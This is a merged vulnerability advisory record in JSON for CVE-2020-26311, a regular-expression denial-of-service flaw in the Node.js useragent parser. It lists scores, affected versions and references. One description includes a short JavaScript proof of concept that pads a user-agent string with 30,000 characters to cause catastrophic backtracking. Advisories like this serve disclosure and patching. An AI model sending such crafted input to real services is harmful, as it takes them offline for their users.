{"id":"CVE-2020-26311","aliases":["CVE-2020-26311","GHSA-mgfv-m47x-4wqp"],"related":[],"kind":"vulnerability","state":"published","title":"GHSL-2020-312: Regular Expression Denial of Service (ReDoS) in useragent","summary":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). As of time of publication, no patches are available.","source":"cvelist"},{"lang":"en","text":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n   const useragent = require(\\\"useragent\\\");\n\n   // Create a malicious user-agent that leads to excessive backtracking\n   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';\n\n   // Parse the malicious user-agent\n   const agent = useragent.parse(maliciousUserAgent);\n\n   // Call the toString method to trigger the vulnerability\n   const result = await agent.device.toString();\n   console.log(result);\n}\n\nawait exploit();\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Useragent es un analizador de agente de usuario para Node.js. Todas las versiones al momento de la publicación contienen una o más expresiones regulares que son vulnerables a la denegación de servicio de expresiones regulares (ReDoS). Al momento de la publicación, no hay parches disponibles.","source":"nvd"}],"published":"2024-10-26T20:26:35.087Z","modified":"2026-06-17T03:08:03.297Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Green","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Green","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"type":"custom","version":"0","status":"affected"}],"vendor":"3rd-Eden","product":"useragent","repo":"https://github.com/3rd-Eden/useragent","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"*","status":"affected"}],"vendor":"useragent_project","product":"useragent","cpe":"cpe:2.3:a:useragent_project:useragent:*:*:*:*:*:node.js:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.3.0"}],"ecosystem":"npm","package":"useragent","purl":"pkg:npm/useragent","source":"ghsa"},{"ranges":[],"vendor":"useragent_project","product":"useragent","cpe":"cpe:2.3:a:useragent_project:useragent:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent/","tags":["exploit","third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/3rd-Eden/useragent/issues/167","tags":["issue-tracking","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26311","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/3rd-Eden/useragent","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568","tags":["web"],"sources":["ghsa"]},{"url":"https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent","tags":["advisory"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-10-28T13:37:14.956Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2020-26311","url":"https://www.cve.org/CVERecord?id=CVE-2020-26311","licence":"CVE Terms of Use","modified":"2024-10-28T13:42:18.048Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mgfv-m47x-4wqp","url":"https://github.com/advisories/GHSA-mgfv-m47x-4wqp","licence":"CC-BY-4.0","modified":"2025-09-03T15:17:53.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2020-26311","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26311","licence":"Public domain","modified":"2026-06-17T03:08:03.297Z"}],"updatedAt":"2026-11-25T22:57:58.970Z","epss":{"score":0.00518,"percentile":0.45553,"date":"2026-12-02T12:00:21.000Z"}}